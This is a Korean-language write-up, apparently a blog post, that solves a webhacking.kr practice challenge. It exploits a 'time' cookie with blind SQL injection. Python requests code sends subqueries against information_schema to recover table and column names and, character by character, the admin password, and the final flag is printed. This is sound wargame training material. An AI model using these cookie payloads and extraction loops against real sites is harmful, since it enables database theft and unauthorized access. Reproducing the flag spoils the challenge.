
웹페이지에 접속하면 이런 내용이 보인다.

html을 보면 현재 날짜가 주석으로 적혀있고 admin.php에 접속하면 엉덩이를 걷어차버릴 거라는 내용이 있다.
바로 admin.php로 접속해본다.

admin.php에 접속하면 이런 화면이 보여서 바로 sql injection을 시도해봤다.

이것저것 시도해봤지만 다 wrong password만 출력된다.

한참을 헤매다가 쿠키 값에 time이라는 값이 있는 것을 발견했다.

쿠키 값이 이 주석문과 연관되어 있는 것일까 생각해봤다.

쿠키 값을 1746779932로 바꾸고 확인해보니 시간이 1초 늘어났다.
time이 주석문과 관련되어있는 것이다.


1을 넣으면 09:00:01이라 뜨고 22를 넣으면 09:00:22라 뜬다.

이 값은 time에 1=2를 넣었을 때이다. 1=1을 넣었을 때는 1을 반환했으므로
time 값으로 blind sql injection을 하는 것일까라고 예상을 해봤다.

time의 값을 위와 같이 설정한 후 다시 주석을 봤다.

그 결과 37이 나온 것을 확인할 수 있었고 서브쿼리로 blind sql injection을 시도하면 될 거 같다.
import requests
url = 'https://webhacking.kr/challenge/web-02/'
cookie = {
"PHPSESSID": "4ollc2k9kfmj6fngt3iq7khjfb",
"time": "(select count(table_name) from information_schema.tables where table_schema=database())"
}
위와 같이 코드를 작성 해서 현재 db의 테이블 개수를 먼저 구했다.

그 결과 테이블은 2개라는 것을 알아냈다.
테이블의 개수를 알아냈으니 다음은 테이블의 이름 길이를 알아낸 후 테이블의 이름을 알아내면 된다.
cookie = {
"PHPSESSID": "4ollc2k9kfmj6fngt3iq7khjfb",
"time": "(select length(table_name) from information_schema.tables where table_schema=database() limit 0, 1)"
}
쿠키 값을 위와 같이 설정한 후 테이블 이름의 길이를 알아냈다.

그 결과 한 테이블의 이름은 13자이고 한 테이블의 이름 길이는 3글자인 것을 알아냈다.
for i in range(1, 4):
cookie = {
"PHPSESSID": "4ollc2k9kfmj6fngt3iq7khjfb",
"time": f"(select ascii(substr(table_name, {i}, 1)) from information_schema.tables where table_schema=database() limit 1, 1)"
}
response = requests.get(url, cookies = cookie)
response = response.text
result = response.split('\n')[1]
print(result)
위와 같이 코드를 작성해서 두 번째 테이블의 이름을 알아내려고 했다.

그 결과 이렇게 3개의 값을 얻어냈다.
해당 값 들은 108, 111, 103이다.
이것을 ascii code table에서 보면 log이다.

테이블 이름이 13자인 테이블을 보면 이런 값들이 나온다.
이 값 들은
97
100
109
105
110
95
97
114
101
97
95
112
119
이런 값이 나오고 이걸 문자로 바꾸면 admin_area_pw 라는 문자열이 나온다.
cookie = {
"PHPSESSID": "4ollc2k9kfmj6fngt3iq7khjfb",
"time": "(select count(column_name) from information_schema.columns where table_name='admin_area_pw')"
}
다시 쿼리문을 위와 같이 작성한 후 컬럼의 개수를 구했다. 그 결과 테이블의 개수는 1개가 나왔다.
cookie = {
"PHPSESSID": "4ollc2k9kfmj6fngt3iq7khjfb",
"time": "(select length(column_name) from information_schema.columns where table_name='admin_area_pw' limit 0, 1)"
}
다시 위와 같이 쿼리문을 수정해서 컬럼 이름의 길이를 구했다.
그 결과 컬럼의 이름 길이는 2글자이다.
for i in range(1, 3):
cookie = {
"PHPSESSID": "4ollc2k9kfmj6fngt3iq7khjfb",
"time": f"(select ascii(substr(column_name, {i}, 1)) from information_schema.columns where table_name='admin_area_pw' limit 0, 1)"
}
다시 이렇게 쿼리문을 수정하여 테이블 이름을 출력했다. 그 결과 112, 119가 나왔고 이 값은 pw이다. 즉 컬럼 명은 pw이다.
(select length(pw) from admin_area_pw)
위 쿼리문으로 pw의 값의 길이는 17이란 것을 알아냈다.
for i in range(1, 18):
cookie = {
"PHPSESSID": "4ollc2k9kfmj6fngt3iq7khjfb",
"time": f"(select ascii(substr(pw,{i},1)) from admin_area_pw)"
}
다시 쿼리문을 위와 같이 작성해서 답을 구했다.

이런 값들이 나왔고 이 값은
107
117
100
111
115
95
116
111
95
98
101
105
115
116
108
97
98
이런 값을 가진다. 이걸 문자로 나타내면 kudos_to_beistlab라는 문자열이 나온다.

admin.php에 접속해서 kudos_to_beistlab를 입력하면 문제를 풀 수 있다.